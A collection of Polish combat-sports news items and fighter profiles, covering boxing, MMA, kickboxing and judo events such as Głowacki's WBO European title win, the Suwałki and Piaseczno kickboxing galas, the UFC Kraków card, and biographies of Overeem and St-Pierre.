MMA jest coraz bardziej popularne w naszym kraju. Zdobywa kolejne rzesze fanów, ale także fighterzy coraz chętniej próbują swoich sił na tej płaszczyźnie. Na debiut w MMA czeka Katarzyna Sadura, koleżanka Karoliny Kowalkiewicz z Gracie Barra Łódź. Do tej pory zawodniczka uprawiła taekwon-do oraz judo. Treningi MMA rozpoczęła już wcześniej aż w końcu nadszedł czas na rozpoczęcie nowej przygody. Katarzyna Sadura swoją premierową walkę stoczy 13 marca w Kaliszu podczas kolejnej gali PLMMA. Jej rywalką będzie Barbara Nalepka, z którą rywalizowała już na amatorskich zawodach. Wtedy zwyciężyła Sadura. Czy tym razem będzie podobnie? Wspólne treningi z Kowalkiewicz z pewnością są dodatkowym atutem i wsparciem dla Sadury. Od doświadczonej koleżanki może wiele się nauczyć.
Kolejna zawodniczka w MMA. Katarzyna Sadura zadebiutuje w Kaliszu. Karolina Kowalkiewicz poznała swoją rywalkę na KSW 30. Z pewnością Faria będzie wymagającą rywalką, ale mistrzyni musi pokazać klasę.
KM
Podczas gali Wojak Boxing Night w Toruniu Krzysztof Głowacki sięgnął po pas WBO European w kategorii cruiser. Polski pięściarz na punkty pokonał Nuriego Seferiego.
Walka bardziej przypominała rozgrywkę szachową niż walkę bokserską. Obaj pięściarze byli otrożni i prezentowali się w ringu bardzo zachowawczo. Seferi nie miał pomysłu na zaskoczenie swojego rywala, choć początkowo przejawiał chęć do rywalizacji. Albańczyk był aktywniejszy, ale bez efektów. Z czasem kontrolę nad pojedynkiem zaczął przejmować Głowacki. Polak wykorzystywał przewagę fizyczną i trzymał boksera z Albanii na dystans. Seferi nie mógł sobie poradzić z taktyką zastosowaną przez Głowackiego i ani razu nie zagroził pięściarzowi z Wałcza. Pod koniec pojedynku Polak zamknął Albańczyka w narożniku, czym podkreślił swoją przewagę . Głowacki trafiał przeciwnika mocnymi ciosami, a Seferi nie potrafił w żaden sposób odpowiedzieć. Na dystansie dwunastu rund pięściarze nie rozstrzygnęli walki, więc decyzja należała do sędziów. Arbitrzy byli jednogłośni w swojej ocenie – 118-110, 118-110, 120-108 dla Głowackiego, który tym samym zdobył pas WBO European.
28-letni bokser wygrał eliminator WBO i znacznie przybliżył się do walki o mistrzowski pas. Czempionem tej organizacji w kategorii cruiser jest Marco Huck. Z pewnością dla Głowackiego obecnie to rywal z innej galaktyki. Reprezentujący Niemcy Huck próbował nawet sił w wadze ciężkiej, ale trudno tą przygodę uznać za udaną. W ciekawym starciu z Aleksandrem Poviekinem przegrał na punkty. A pas WBO Huck dzierży w swych dłoniach od 2009 roku. Warto zanzaczyć, że Głowacki doskonale zna czempiona wagi cruier. Zamierzchłe czasy. Głowacki i Huck spotkali się podczas meczu rewanżowego Orła Wałcz z loklanym zespołem z Bad Essen. Wtedy z urodzonym w Ugao pięściarzem rywalizował Jacek Głowacki, który poniół porażkę. Po pojedynku doszło do awantury. Krzysztof Głowacki nie mógł pogodzić się z porażką brata i wdał się w pyskówkę z Huckiem oraz jego kolegami. Było gorąco. Czy Głowacki będzie miał okazję zmierzyć się z reprezentantem Niemiec? Nie ulega wątpliwości, że polski bokser jest ambitny i wie, o co toczy się gra. Ponadto, bardzo chce zmierzyć się z Huckiem. Teoretycznie trudno dawać mu wielkie szanse, ale w ringu wszystko jest możliwe.
Wracając do gali w Toruniu. Do ciekawego starcia doszło w kategorii super koguciej. Piotr Gudel na punkty pokonał Krzyztofa Rogowskiego. Kolejną wygraną zanotował Marek Matyja. Bokser wagi półciężkiej przez TKO zwyciężył w trzeciej rundzie Stjepana Bozica. Na gali zaprezentowała się Ewa Piątkowska. W pojedynku z Sabrine Giuliani Polka wygrała jednogłośnie na punkty.
Najważniejsza informacja z Torunia – Krzysztof Głowacki wygrał i zdobył pas WBO European. Polak jest coraz bliżej walki o mistrzowski pas. Czy i kiedy stanie w ringu z Huckiem?
Walka wieczoru – elimnator WBO: Krzysztof Głowacki pokonał na punkty Nuriego Seferiego
Pozostałe walki:
Piotr Gudel na punkty pokonał Krzysztofa Rogowskiego
Marek Matyja pokonał przez TKO Stjepana Bozica
Ewa Piątkowska pokonała na punkty Sabrine Giuliani
Maciej Miszkin pokonał na punkty Dmitrijsa Ovsjannikovsa
Krzysztof Kosela pokonał na punkty Floriansa Strupitsa
KM
Utytułowani i klasowi fighterzy zaprezentują się publiczności podczas gali Suwałki Kick-Boxing Night. Impreza odbędzie się w Ośrodku Sportu i Rekreacji przy ulicy Wojska Polskiego 2. Głównymi organizatorami gali są trener Suwalskiego Klubu Kickboxing Panzer Suwałki – Łukasz Szczodruch oraz Piotr Siegoczyński.
Impreza ma na celu promocję Suwalszczyzny. Ponadto, będzie ogromną atrakcją dla publiczności głodnej wrażeń. Na ringu zaprezentują się znani fighterzy, którzy odnoszą sukcesy na arenach międzynarodowych. Organizatorzy mają nadzieję, że gala w Suwałkach stanie się stałym punktem na mapie Polski.
Wiele ciekawych pojedynków czeka publiczność zgromadzoną w Ośrodku Sportu i Rekreacji. W wadze 57 kg zaprezentuje się utalentowany Patryk Kuryłek reprezentujący Wicher Kobyłka. Jego rywalem będzie Mateusz Pietrucha z TO Team Otwock. W Suwałkach swoją walkę stoczy Jakub Bartnik, który w 2014 roku wywalczył tytuł młodzieżowego mistrza Polski w K-1. Naprzeciw wojownika z Warki stanie Mateusz Kowalski z Championa Gdańsk.
W K-1 kolejny pojedynek stoczy Mateusz Żukowski. Zawodnik Terlika Team Mikołajki w grudniu okazał się lepszy w rywalizacji z Jakubem Bartnikiem. Tym razem zmierzy się z Patrykiem Kamińskim z Gdańska. Żukowski to silny i dynamiczny fighter, który w każdej walce pokazuje swoje atuty. Czy tym razem olśni publiczność? W ringu zaprezentuje się Kamil Ruta reprezentujący barwy klubu z Kobyłki. Wielka nadzieja polskiego kickboxingu mimo młodego wieku ma już CV pełne sukcesów. Ruta w 2013 roku w Turcji został mistrzem świata w kick-light w kategorii 79kg, w Seged wywalczył Puchar Świata w kick-light, a na ubiegłorocznych mistrzostwach Europy WAKO w Mariborze wywalczył srebrny medal w kick-light. Kariera zawodnika z Kobyłki nabiera rozpędu. W Suwałkach w K-1 rywalem Ruty będzie zawodnik X-Fight Piaseczno Mark Kołątaj.
Organizatorzy gali zaplanowali dwie walki wieczoru. W kategorii 75kg w K-1 zmierzą się Dominik Szczodruch i Lech Rosiński. Zawodnik Panzera Suwałki na krajowej arenie prezentuje się bardzo dobrze. Szczodruch zwycięża na galach organizowanych w Polsce, a także zdobywa medale – brąz podczas Mistrzostw Polski Służb Mundurowych w 2013 roku. Z kolei Rosiński to doświadczony fighter, medalista mistrzostw Polski. Zawodnik X-Fight Piaseczno stanie przed trudnym zadaniem. Szczodruch będzie miał wsparcie z trybun, czy magia dopingu zadziała?
Gwiazdą wieczoru będzie Łukasz Wichowski. Zawodnik z Piaseczna stoczy pojedynek w formule full-contact z Sebastianem Prokopem z Nowego Miasta Lubawskiego. Wichowski ustawicznie rozwija się i robi postępy. Obecnie jest jednym z najbardziej cenionych polskich fighterów, czego najlepszym wyrazem jest fakt, że podczas licznych gal honorowany jest występami w walkach wieczoru. Wichowski jest zawodowym młodzieżowym mistrzem Polski w full contact w kategorii 81kg. Z kolei Prokop podczas mistrzostw kraju w full contact w Kurzętniku doszedł do finału, gdzie przegrał z Robertem Krasoniem. Fighterzy powinni zaprezentować najwyższy możliwy poziom. Obaj są mistrzami w swojej dziedzinie.
Gala w Suwałkach będzie okazją do popularyzacji kickboxingu w nowym rejonie Polski. Czy Suwałki na stałe zagoszczą na mapie sportów walki? W karcie walk nie brakuje gwiazd. Nic tylko cieszyć się rywalizacją na najwyższym poziomie.
Początek gali o 20:00 (30 stycznia 2015, Suwałki).
Rozpiska:
-57 kg K-1: Patryk Kuryłek (Wicher Kobyłka) vs Mateusz Pietrucha (KO Team Otwock)
-86 kg K-1: Adam Dubin (Panzer Suwałki) vs TBA
-70 kg K-1: Tomasz Kalinowski (Panzer Suwałki ) vs TBA
-81 kg K-1: Jakub Bartnik (X Fight) vs Mateusz Kowalski (Champion Gdańsk)
-67 kg K-1: Hubert Klaus (Panzer Suwałki) vs Krzysztof Kołodziejczyk (Arrachion MMA Mrągowo)
-86 kg K-1: Mateusz Żukowski (Terlik Team Mikołajki) vs Patryk Kamiński (Champion Gdańsk)
-95 kg K-1: Dawid Krajewski (Panzer Suwałki) vs Kamil Laskowski (Zambrów)
-70 kg K-1: Emil Korżyński (Panzer Suwałki) vs Andrzej Gajewski (Fighter Giżycko )
-81 kg K-1: Kamil Ruta (Wicher Kobyłka) vs Mark Kołątaj (X Fight Piaseczno)
Walki wieczoru:
-75 kg K-1: Dominik Szczodruch (Panzer Suwałki) vs Lech Rosiński (X Fight Piaseczno)
-81 kg FC: Łukasz Wichowski (X Fight Piaseczno) vs Sebastian Prokop (MUKS Olimpia Nowe Miasto Lubawskie)
KM
Kadra Polski seniorów przez niecały miesiąc przebywała na zgrupowaniu w Japonii. Nasi reprezentanci intensywnie przygotowywali się do tegorocznych startów. Treningi biało-czerwonych w ojczyźnie judo z pewnością były istotnym elementem budowania formy.
W Tsukubie oprócz męskiej kadry trenowali także zawodnicy AZS AWF Katowice. Niektórzy judocy mieli okazję ćwiczyć na Uniwersytecie Yamanshi, co było dodatkowym smaczkiem pobytu w Japonii. Oprócz Polaków w Tsukubie gościły kadry z Belgii, Węgier oraz Ukrainy. Nasi reprezentanci mieli okazję podejrzeć w akcji mistrzów z Japonii – Hiroakiego Hiroakę (60 kg), Junpeia Morishitę (66 kg) czy Hiroyukiego Akimoto (73 kg).Niecały miesiąc pobytu w Kraju Kwitnącej Wiśni z pewnością był istotnym czasem dla biało-czerwonych. Polacy mieli możliwość roztrenowania się oraz przygotowania organizmów na nadchodzący sezon. W przypadku zgrupowań często pojawiają się kontuzje, jednak naszych reprezentantów nie dotknęły poważne urazy.
Przed biało – czerwonymi bardzo wymagający rok. W końcu trwa walka o kwalifikacje do Igrzysk Olimpijskich w Rio de Janeiro. Pobyt w Japonii był o tyle cenny, że biało – czerwoni mogli spokojnie trenować w dobrych warunkach i bez zbędnego obciążenia. Ważne, aby z dobrym akcentem weszli w nowym sezon, gdyż czas będzie uciekał. Momentami z pewnością pojawią się nerwy, czy uda się wywalczyć bilet do Rio.
Ważnym przetarciem dla naszych judoków będzie warszawski Open Men Senior, który odbędzie się w dniach 28 luty – 1marca. Nasi reprezentanci muszą walczyć o punkty podczas Pucharów Świata i Grand Slamów. Jednakże nie ma lepszej okazji do uzyskania przepustki do Rio niż dobre występy na imprezach rangi mistrzowskiej. W kwietniu w Glasgow odbędą się mistrzostwa Europy. Pod koniec sierpnia w Astanie czekają nas mistrzostwa świata. Polskie judo wychodzi na prostą, zdobywamy medale, jednakże lepiej prezentują się panie. Być może w końcu panowie przełamią się i wywalczą medal. Ostatnim męskim medalistą mistrzostw świata w judo był Robert Krawczyk, który w 2003 roku w Osace zdobył brąz. Po jedenastu latach medal dla Polski wywalczyła Katarzyna Kłys. Musieliśmy tak długo czekać na krążek z mistrzostw świata.
Przed naszymi reprezentantami wyzwanie. Treningi w Japonii być może staną się początkiem dobrego wejścia w sezon. Dwie kluczowe imprezy: mistrzostwa Europy w Glasgow oraz mistrzostwa świata w Astanie. Czy stać nas na medal? W ubiegłym roku w dobrej formie był Maciej Sarnacki, który przywoził medale z Pucharów Świata. Nabawił się urazu i dochodzi do pełni sił. Nadzieje na dobre występy należy wiązać z utalentowanym Aleksandrem Betą, zwycięzcą Pucharu Świata w Tallinie. Należy pamiętać o Kamilu Kozłowskim oraz Tomaszu Kowalskim. W Japonii podczas treningów dobrze prezentował się Łukasz Błach. Być może swoją szansę wykorzysta Paweł Zgrodnik, który podczas Igrzysk Olimpijskich w Londynie był blisko brązowego medalu.
W lutym Polacy będą rywalizowali w Pucharze Świata w Rzymie i Grand Prix w Duesseldorfie.
KM
46-letni Roy Jones Jr. nadal ma siłę i chęć, aby wchodzić na ring. Legendarny amerykański bokser zapowiada swoją rywalizację z Marco Huckiem.
Jones Jr. to żywa ikona pięściarstwa. Bokser wszechstronny, skuteczny i niezwykle pewny siebie. W swojej karierze osiągnął szczyt, zdobył wszystko, co było możliwe. Jones Jr. dzierżył w swoich dłoniach pasy mistrzowskie kategorii średniej IBF, super średniej IBF, półciężkiej WBC, WBA i IBF oraz ciężkiej WBA. Warto nadmienić, że pięściarz wywalczył tytuł w kategorii królewskiej w 2003 roku w pojedynku z Johnem Ruizem. Tym samym został drugim bokserem historii, który zdobył pas w wadze średniej i ciężkiej. Co ciekawe, nigdy nie bronił tytułu.
Jones Jr. to osobowość. Fenomenalny bokser, komentator i raper. Jego przygoda z komentatorstwem nie trwała długo, gdyż HBO uznało, że nie jest dostatecznie zaangażowany w swoją pracę i został zwolniony. Kariera Jonesa Jr. jest wielowątkowa, ale jego ostatnie występy nie należą do najlepszych. Na przestrzeni ostatnich lat przegrał z Dannym Greenem, Bernandem Hopkinsem czy Denisem Lebiediewem. Warto zaznaczyć, że w Amerykanin w czerwcu 2012 roku rywalizował z Pawłem Głażewskim i zakończył ten pojedynek zwycięsko.
Możliwości Jonesa Jr. stopniowo spadają. Jego osiągnięcia plasują go w bokserskiej czołówce, ale obecna forma daleka jest od idealnej. Z tym, że 46-letni pięściarz tęskni za ringiem i z wielką werwą chce dalej walczyć. Jones Jr. ma zamiar walczyć w Niemczech z mistrzem WBO wagi cruiser Marco Huckiem. Jednak najpierw Amerykanin planuje stoczyć pojedynek 3 marca. Rywalizacja z Huckiem ma mieć miejsce późną wiosną. Do ustalenia pozostały kwestie finansowe i formalne. Jones Jr. jest chętny stanąć ringu z Huckiem, gdyż chciałby wywalczyć kolejny tytuł w swojej karierze. Czy ma na to szanse?
Jones Jr. zapowiada, że jeśli wygrałby walkę i zdobył pas jego przygoda z bokserem nie miałaby dalszego sensu. – Moim celem jest tytuł mistrza świata wagi cruiser i jeśli zrealizuję ten plan to nie ma sensu, abym nadal walczył – powiedział 46-letni pięściarz. Plan Jonesa jest ambitny. Pytanie, na ile jest w stanie zagrozić Huckowi? Możliwe, że Amerykanin będzie rywalizował z Grigory’m Drozdem, posiadaczem pasa WBC. Dla Jonesa Jr. nie ma różnicy, kto będzie jego rywalem. Z tym, że ze strony Hucka wyszła propozycja i to na nią będą pracowały sztaby.
Blask Roya Jonesa Jr. nadal jest wyrazisty. Amerykanin nadal obecny jest w mediach, chce walczyć i zdobywać tytuły. Ma pragnienie, aby w historii boksu jego nazwisko świeciło blaskiem chwały. Mimo wszystko chyba już tak jest. Ma cel. Sukces w wadze cruiser. Jones jest gotowy walczyć w Niemczech, tylko kasa musi się zgadzać. Magia nazwiska działa.
KM
UFC odsłania kolejne karty związane z galą organizowaną w Polsce. Podczas krakowskiej imprezy zaprezentuje się Krzysztof Jotko.
Polski średni debiutował w UFC w grudniu 2013 roku. Do tej pory Jotko stoczył dla najlepszej organizacji mieszanych sztuk walki trzy pojedynki – dwa wygrał, poniósł jedną porażkę. W debiucie Polak okazał się lepszy od Bruno Santosa. Receptę na pokonanie Jotki znalazł Marcus Cedenblad. W październiku ubiegłego roku polski fighter na punkty pokonał Tora Troenga. Podczas gali UFC w Polsce Jotko powita w UFC Garretha McLellana. 33-latek zwrócił na siebie uwagę swoją efektywnością i został zaproszony do grona najlepszych. McLellan wzbudza uznanie swoją bezkompromisowością – większość walk skończył przed czasem. Z ostatnich sześciu pojedynków pięć rozstrzygnął przez poddanie. Do tej pory McLellan rywalizował w Extreme Fighting Championship Africa. Dla Krzysztofa Jotki to kolejne wyzwanie, ale doping polskiej publiczności z pewnością mu pomoże.
Podczas krakowskiej gali swój pojedynek stoczy Paweł Pawlak. Zawodnik Gracie Barra Łódź debiutował w UFC podczas Fight Night w Berlinie, gdzie uległ Peterowi Sobotcie. Znany z efektywności Pawlak najzwyczajniej w świecie nie wytrzymał presji. Szansę na rehabilitację dostanie w Krakowie. Naprzeciw Polaka stanie Sheldon Westcott, który był jednym z finalistów zeszłorocznego TUF Nations. Dla Kanadyjczyka pojedynek z Pawlakiem będzie debiutem w UFC w kategorii półśredniej.
O być albo nie być w UFC będzie walczył Marcin Bandel. Co prawda Polak do tej pory stoczył tylko jedną walkę, ale prawa są nieubłagane. Trzeba dawać z siebie wszystko, inaczej wypada się z gry. Bandel w swoim debiucie przegrał z Mairbekiem Taisumovem, a cała walka trwała ledwie ponad minutę. Rywalem Polaka będzie Jason Saggo, który do tej pory stoczył dla UFC dwa pojedynki. W swoim debiucie znokautował Josha Shockleya, w kolejnym starciu na punkty uległ Paulowi Felderowi. Bandel i Saggo stają przed ogromnym wyzwaniem. Z jednej strony stawiają pierwsze kroki w UFC, a z drugiej potknięcie może być ich końcem. Muszą dać z siebie wszystko, aby nadal być częścią najlepszej organizacji mieszanych sztuk walki na świecie.
UFC odsłania kolejne karty. W Krakowie pojawi się Krzysztof Jotko, który dobrze zna klimat UFC. Cieszy, że kolejną szansę dostał Paweł Pawlak, który ma spore możliwości, ale w debiucie sparaliżował go strach. Marcin Bandel stanie przed trudnym zadaniem. Porażka może być początkiem jego kłopotów, ale w rywalizacji z Saggo szanse są wyrównane. Wiadomo, że gwiazdą wieczoru będzie Mirko Filipović. Mimo to wszystkie oczy w Polsce będą zwrócone w stronę Jana Błachowicza. „John”, który obecnie robi kolosalne postępy jest ogromną nadzieją polskiego MMA. W Krakowie polski fighter zmierzy się z Jimim Manuwą. Czy od tego pojedynku rozpocznie drogę na szczyt UFC?
KM
KM
Jedna kwestia ze świata pięściarstwa najwyższych lotów jest już pewna. Saul Canelo Alvarez znalazł rywala. Strony poczyniły odpowiednie ustalenia i pojedynek został zakontraktowany. Po zerwaniu rozmów z Miguelem Cotto wybór obozu Alvareza padł na Jamesa Kirklanda.
Canelo chciał rywalizować z Portorykańczykiem, przez dugi czas naciskał na niego, jednak negocjacje nie zakończyły się sukcesem. Alvarez jest zdeterminowany, aby wrócić na ring i boksować. 2 maja w ringu obok Canelo stanie James Kirkland. Jeśli na ten sam termin przypadnie walka Mayweather – Pacquiao to prawdopodobnie Alvarez będzie walczył w innym czasie.
Najbliższy rywal Canelo na zawodowych ringach debiutował w 2001 roku. W dotychczasowej karierze Kirkland poniósł tylko jedną porażkę – przegrał z Nobuhiro Ishidą. Warto dodać, że Amerykanin rywalizował już z zawodnikami z Meksyku i w większości przypadków walki kończyły się przed czasem. Swego czasu Kirkland był bardzo obiecującym bokserem, wiązano z nim ogromne nadzieje. 30-latek nie należy jednak do grzecznych chłopców. Jego kłopoty z prawem często hamowały rozwój jego kariery. Kirkland przebywał w więzieniu za posiadanie broni palnej.
Canelo stanie do rywalizacji z przeciwnikiem, który prezentuje dobry poziom. Wiadomo, że pojedynek z Cotto byłby bardziej spektakularny, jednak Kirkland jest twardym bokserem i Alvarez wcale nie będzie miał łatwego zadania. Nie jest to walka o pas, więc obozy pięściarzy nie chcą zmuszać ich do restrykcyjnego trzymania się wagi. Limit na tą walkę został wyznaczony na 155 funtów. W ten sposób pojedynek zostanie odnotowany jako starcie w kategorii średniej. Ze strony obozu Canelo być może jest to przemyślana strategia. Grupa Golden Boy Promotions poważnie myśli o starciu Alvareza z mistrzem świata federacji WBA kategorii średniej Giennadijem Gołowkinem.
Najpierw Kirkland. Alvarez jest szczęśliwy, że może w końcu będzie mógł wejść do ringu. Czekał na rywala i wreszcie go poznał. Kirkland jest gwarantem dobrego poziomu, choć z pewnością na starcie większe szanse ma Canelo. Jeśli uda się stoczyć pojedynek w maju będzie to miało szczególny wymiar dla Meksykanina.
Jeden wątek z bokserskiego świata zakończony. Jest rywal, jest termin, będzie walka. W innych przypadkach rozmowy trwają, a dodatkowo rodzą się kolejne spekulacje. Wszyscy czekają na rozstrzygnięcie kwestii pojedynku Mayweather – Pacquiao. Pacman wyznał, że na 80% dojdzie do tego starcia. W całym zamieszaniu udział bierze Amir Khan, który spekuluje na temat swojej rywalizacji z Pacquiao. Anglik nie chce walczyć z Filipińczykiem w umownym limicie, lecz tylko i wyłącznie w limicie 147 funtów. Na dodatek pojawiły się plotki, że 2 maja dojdzie do starcia Floyda Mayweathera Jr z Miguelem Cotto.
Cały czas jest gorąco. Oczywiste jest, że audytorium czeka na nowinę o pojedynku Mayweathera z Pacquiao. Alvarez znalazł przeciwnika. Dopóki Cotto i Khan nie będą mieli kolejnych rywali domysły będą rosły jak grzyby po deszczu.
KM
Holenderski Kick-boxer i zawodnik MMA urodzony 17 maja 1980 roku w Londynie. Jego ojcem był Jamajczyk a matką Holenderka. Po rozwodzie rodziców , w wieku 6 lat wraz z matką przeprowadził się na stałe do Holandii. Debiut w profesjonalnym MMA zanotował w 1999 roku na gali It’s Showtime w Haarlem. Następnie walczył dla organizacji RINGS i 2H2H. W 2002 roku zadebiutował na ringu PRIDE FC. Rok później wystartował w turnieju 2003 PRIDE Middleweight Grand Prix. Odpadł w ćwierćfinale przegrywając z Chuckiem Liddellem. W 2005 roku wziął udział w kolejnej edycji tego turnieju , tym razem doszedł do półfinału pokonując Victora Belforta i Ihora Wowczanczyna. W walce o finał został pokonany przez późniejszego tryumfatora turnieju Mauricio Ruę. Rok później walczył w turnieju PRIDE Openweight Grand Prix. Przegrał w 1/8 finału z Fabricio Werdumem. Po rozwiązaniu PRIDE FC przeszedł do wagi ciężkiej i walczył dla organizacji HERO’S, Strikeforce i DREAM. 16 listopada 2007 roku zdobył wakujący tytuł mistrza świata Strikeforce, pokonując przez poddanie Paula Buentello. W sierpniu 2009 roku Holender miał bronić pas w walce przeciwko Werdumowi. Do pojedynku jednak nie doszło z powodu kontuzji ręki Holendra. Po raz pierwszy swojego tytułu bronił 15 maja 2010 roku w walce przeciwko Brettowi Rogersowi. Alistair pokonał go przez TKO. 31 grudnia 2010 podczas gali Dynamite!! 2010 znokautował w 19 sekund Amerykanina Todda Duffe w walce o tymczasowe mistrzostwo DREAM w wadze ciężkiej. W 2011 roku wystartował w 8 osobowym turnieju Strikeforce. 18 czerwca podczas ćwierćfinału pokonał Fabricio Werduma. W półfinale miał zmierzyć się z Antonio Silvą. Odmówił jednak walki w ustalonym przez telewizje Showtime terminie, powołując się na kontuzję. W rezultacie został usunięty z turnieju, a pod koniec lipca Strikeforce rozwiązała z nim kontrakt. Na początku września związał się umową z UFC. 30 grudnia 2011 roku w swoim debiucie dla UFC pokonał przez TKO w pierwszej rundzie Brocka Lesnara. Tą wygraną zapewnił sobie miano pretendenta do walki o pas mistrzowski. Do tego pojedynku miało dojść 26 maja 2012 roku. Przeciwnikiem Alistaira miał być Junior dos Santos. Do walki nie doszło ponieważ na miesiąc przed walką w organizmie Holendra był dwukrotnie przekroczony poziom testosteronu. W 2001 roku Alistair zadebiutował w K-1. W debiucie przegrał z Errolem Parisem podczas GP Holandii. W 2004 roku w Tokio został znokautowany w pokazowym pojedynku przez Glaube Feitosę. Do K-1 powrócił po długiej przerwie w 2008 roku. Podczas sylwestrowej gali Dynamite!! 2008 zmierzył się z byłym mistrzem K-1 w wadze ciężkiej i finalistą K-1 World GP 2008 Badrem Hari. Holender pokonał faworyzowanego Marokańczyka już w pierwszej rundzie. W marcu 2009 roku walczył z mistrzem K-1 Remym Bonjaskym. Przegrał walkę przez decyzję po wyrównanym pojedynku. Dobre występy Alistaira sprawiły, że w drodze internetowego głosowania otrzymał dziką kartę, upoważniającą do udziału w walce eliminacyjnej podczas Final 16 w Seulu. Pokonał tam Petera Aertsa, zapewniając sobie prawo walki o mistrzostwo K-1 WGP w turnieju finałowym w Jokohamie. W pierwszej walce pokonał przez nokaut mistrza świata w Kyokushin Ewertona Teixeirę, w półfinale uległ jednak przez nokaut Hariemu. W październiku 2010 roku podczas Final 16 znokautował w pierwszej rundzie Bena Edwardsa, po raz drugi awansując do Finału K-1 WGP. Został on rozegrany 11 grudnia 2010 roku w Tokio. Overeem zdobył tytuł mistrza K-1 WGP, pokonując trzech rywali z rzędu Tyrone’a Sponga, Gokhana Saki i Petera Aertsa. 19 grudnia 2015 roku pokonał przez TKO w drugiej rundzie byłego mistrza wagi ciężkiej UFC Juniora Dos Santosa. 8 maja 2016 roku pokonał przez techniczny nokaut Andreia Arlovskiego.
Zapraszamy do obejrzenia wywiadu z dnia 23 stycznia 2015 r. z Karoliną Kowalkiewicz tuż po treningu z Dorotą Godziną w klubie Gracie Barra w Łodzi. Karolina opowiada nam o planach na przyszłość, KSW, UFC, pasjach i pomysłach. Zapraszamy.
[kod]
Kanadyjski zawodnik MMA urodzony 19 maja 1981 roku w Sainy-Isidore. Pierwsze kontakt ze sportami walki miał w wieku siedmiu lat, gdy rozpoczął treningi Karate Kyokushin. Georges trenował również zapasy, boks, boks tajski oraz Brazylijskie Jiu Jitsu. W lipcu 2006 roku otrzymał brązowy pas BJJ od Renzo Gracie, a w 2008 roku czarny pas od Bruno Fernandesa. W styczniu 2002 roku zanotował profesjonalny debiut w MMA. Wygrywając pięć walk z rzędu dla Kanadyjskiej federacji UCC i zdobywając jej pas mistrzowski, podpisał kontrakt z organizacją UFC. Debiutował dla UFC w styczniu 2004 roku pokonując Karo Parisyana przez jednogłośną decyzję sędziów. Po kolejnym zwycięstwie nad Jayem Hieronem otrzymał szansę walki o wakujące mistrzostwo UFC wagi półśredniej. Jego rywalem był były mistrz Matt Hughes. Pojedynek ten odbył się 22 października 2004 roku. Georges przegrał ten pojedynek przez poddanie. Była to pierwsza przegrana walka Kanadyjczyka w jego zawodowej karierze. Po przegranej z Hughesem, Kanadyjczyk w maju 2005 roku obronił mistrzostwo TKO Major League (dawneUCC) poddając Dave’a Strassera. To była jego ostatnia walka dla tej federacji, po niej podpisał długoterminowy kontrakt z UFC. W ciągu następnych dwóch lat wygrał 5 walk, dzięki czemu zdobył prawo do rewanżowej walki z Hughesem. Doszło do niej w listopadzie 2006 roku. Tym razem to Kanadyjczyk okazał się wygranym. W pierwszej obronie jednak stracił tytuł na rzecz niżej notowanego Matta Serry. Mistrzostwo odzyskał 19 kwietnia 2008 roku w Montrealu, nokautując Serrę w walce rewanżowej. Następnie sześciokrotnie bronił swojego pasa pokonując w dominującym stylu takich rywali jak: Johna Fitcha, B.J. Penna, Thiago Alvesa, Dana Hardy’ego, Josha Koschecka i Jake Shieldsa. Swoją siódmą obronę pasa miał stoczyć 29 października 2011 roku przeciw Carlosowi Conditowi ale z powodu kontuzji kolana na dziesięć dni przed walką musiał się wycofać z tego pojedynku. 4 lutego 2012 roku miało dojść do wyczekiwanego pojedynku St-Pierra z Conditem, jednak tym razem również mistrz się wycofał z pojedynku z powodu zerwania więzadeł w kolanie. Na tej gali zamiast pojedynku St-Pierre z Conditem, UFC zestawiło ze sobą Condita z Diazem o tymczasowe mistrzostwo w wadze półciężkiej, które ostatecznie wygrał Condit. Do starcia Georgesa z Conditem doszło pod koniec 2012 roku na gali w Montrealu. Zwycięzcą okazał się St-Pierre który zdominował Condita. Po wygranej z Conditem jeszcze dwukrotnie, skutecznie bronił pasa z Nickiem Diazem i Johnym Hendricksem. Po walce z Hendricksem z powodów osobistych zrzekł się pasa mistrzowskiego.
DSF Kickboxing Challenge: Bitwa w Piasecznie już 28 lutego!
Po sukcesie, jakim bez wątpienia była ostatnia gala DSF Kickboxing Challenge organizator Sławomir Duba postanowił iść za ciosem i dostarczyć fanom kickboxingu kolejnej dawki adrenaliny, która nie pozwoli usiedzieć w miejscu.
Już 28 lutego czołowi przedstawiciele polskiej sceny sportów uderzanych zaprezentują swoje wysokie umiejętności podczas trzeciej edycji gali DSF Kickboxing Challenge, która nosić będzie podtytuł „Bitwa w Piasecznie” i odbędzie się… właśnie w Piasecznie, a konkretnie w miejscowej hali GOSiR przy ulicy Sikorskiego 20. Podobnie jak miało to miejsce podczas dwóch pierwszych gal, tak i tym razem wstęp jest bezpłatny, a wejściówki będzie można odbierać od 29 stycznia w Urzędzie Miasta Piaseczno.
Atrakcje muzyczne, gra świateł, a przede wszystkim dziewięć znakomitych pojedynków w formułach full contact i K-1 Rules. Tego mogą spodziewać się wszyscy fani kickboxingu, którzy postanowią przybyć na galę DSF Kickboxing Challenge: Bitwa w Piasecznie.
Walką wieczoru będzie konfrontacja Młodzieżowego Międzynarodowego Mistrza Polski w formule full contact Łukasza Wichowskiego z aktualnym wicemistrzem kraju seniorów w tejże formule, Piotrem Kołakowskim. – Nie obawiam się swojego przeciwnika. Wiem, że zamierza ze mną wygrać, lecz ja również mam taki plan. Do tej pory nie miałem możliwości konfrontowania się z tak utytułowanym przeciwnikiem i jest to dla mnie bardzo mobilizujące – wyznał Wichowski.
Walka zapowiada się atrakcyjnie z wielu powodów. Najważniejszym z nich jest fakt, że stawką tej konfrontacji będzie mistrzowski pas DSF Challenge. Kolejnym z nich jest lokalizacja, czyli Piaseczno. Wichowski trenował wiele lat w Piasecznie, reprezentuje barwy tamtejszego klubu X-Fight i ma w mieście wielu kibiców, którzy z pewnością przyjdą mu dopingować. – Liczę na wsparcie znajomych. Można powiedzieć, że będę się bić u siebie, a więc nie ma innej możliwości, jak wygrać i to przed czasem – kończy.
Drugą główną walką lutowej gali będzie finał czteroosobowego turnieju K-1 Rules w kategorii wagowej do -81 kilogramów pomiędzy reprezentantem DSF Kickboxing Team Kamilem Rutą i Mateuszem Żukowskim z Terlik Team Mikołajki. Obaj wojownicy swoje walki półfinałowe wygrali w imponującym stylu. Ruta już w pierwszej rundzie wygrał przez nokaut z Sebastianem Adamskim, a Żukowski wypunktował Jakuba Bartnika. – Miałem więcej czasu i mogłem spokojnie obejrzeć pojedynki mojego przeciwnika. Wiem o nim wszystko, wiem jak z nim walczyć, żeby wygrać – mówi Ruta, który jest aktualnym Mistrzem Europy w formule Kick-Light.
